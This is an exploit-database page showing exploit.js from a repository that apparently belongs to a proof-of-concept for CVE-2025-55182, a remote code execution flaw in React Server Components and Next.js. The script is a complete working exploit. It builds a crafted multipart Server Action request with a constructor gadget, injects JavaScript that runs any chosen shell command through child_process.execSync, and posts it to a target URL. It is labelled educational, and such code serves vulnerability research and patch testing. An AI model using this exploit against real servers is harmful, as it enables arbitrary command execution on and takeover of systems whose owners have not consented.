Exploit databaseDownload repository ZIP
GH-5db2201a4a316c63337102c98107a4a2
pkrasulia/cve-2025-55182-nextjs-rce-poc
Sources for CVE-2025-55182
257 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files12
pkrasulia/cve-2025-55182-nextjs-rce-pocRevision 68ed2e018cb8
- app/
- public/
- .gitignore
- .nvmrc
- README.md
- eslint.config.mjs
- exploit.js
- next.config.js
- package-lock.json
- package.json
- postcss.config.mjs
- tsconfig.json
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.js
JavaScript · 3,857 bytes/**
* 🎓 ОБРАЗОВАТЕЛЬНЫЙ ЭКСПЛОИТ ДЛЯ CVE-2025-55182 (React2Shell)
* ------------------------------------------------------------
* JS-версия для демонстрации RCE в React Server Components.
*
* Использование:
* node exploit.js <url> <команда>
*
* JS version to demonstrate RCE in React Server Components.
*
* Usage:
* node exploit.js <url> <command>
*
* Example:
* node exploit.js http://localhost:3000 "gnome-calculator"
*/
const target = process.argv[2] || 'http://localhost:3000';
const command = process.argv[3] || 'whoami';
console.log(`\n🚀 Launching exploit against: ${target}`);
console.log(`🎯 Target command: ${command}`);
async function run() {
// 1. Prepare Payload
// We need to construct a multipart/form-data body manually or use a library.
// Here we construct it manually to ensure byte-perfect structure for the exploit.
const boundary = "----WebKitFormBoundaryReactCVE";
// Escape quotes for JSON
const cmdPayload = command.replace(/"/g, '\\"');
// JS code to execute.
// We use a trick: execute the command and throw the result as an error.
// This often allows us to see the output in the HTTP response (stack trace) or server logs.
const jsCode = `(function(){
try {
var res = process.mainModule.require("child_process").execSync("${cmdPayload}").toString();
console.log("\\n[+] RCE RESULT:\\n" + res);
throw new Error("[+] RCE SUCCESS: " + res);
} catch(e) {
console.log(e);
throw e;
}
})()`;
console.log(`📝 Injecting JS code: ${jsCode}`);
const createPart = (name, content) =>
`--${boundary}\r\nContent-Disposition: form-data; name="${name}"\r\n\r\n${content}\r\n`;
// The Payload Structure
// 0: "$1" -> Reference to the next part
// 1: The React Element structure that contains the malicious payload
// 5: The actual payload with the _prefix (code injection) and _formData (gadget)
const body = [
createPart('0', '"$1"'),
createPart('1', '{"status":"resolved_model","reason":0,"_response":"$5","value":"{\\"then\\":\\"$4:map\\",\\"0\\":{\\"then\\":\\"$B3\\"},\\"length\\":1}","then":"$2:then"}'),
createPart('2', '"$@3"'),
createPart('3', '""'),
createPart('4', '[]'),
createPart('5', JSON.stringify({
"_prefix": `${jsCode}//`,
"_formData": { "get": "$4:constructor:constructor" }, // The Gadget: Accessing constructor
"_chunks": "$2:_response:_chunks",
"_bundlerConfig": {}
}))
].join('') + `--${boundary}--\r\n`;
console.log("[*] Sending packet...");
const start = Date.now();
try {
const response = await fetch(target, {
method: 'POST',
headers: {
'next-action': 'x', // Required to trigger Server Action processing
'Content-Type': `multipart/form-data; boundary=${boundary}`,
},
body: body
});
const duration = ((Date.now() - start) / 1000).toFixed(2);
console.log(`⏱️ Response time: ${duration} sec`);
console.log(`[+] HTTP Status: ${response.status} ${response.statusText}`);
if (response.status === 500) {
console.log("✅ PROBABLE SUCCESS: Received 500 error (expected for RCE).");
console.log(" Check if the command executed!");
} else if (response.status === 200) {
const text = await response.text();
console.log("ℹ️ Server response:", text.slice(0, 200));
} else {
console.log("❌ Unexpected status.");
}
} catch (e) {
console.log(`❌ Error: ${e.message}`);
}
}
run();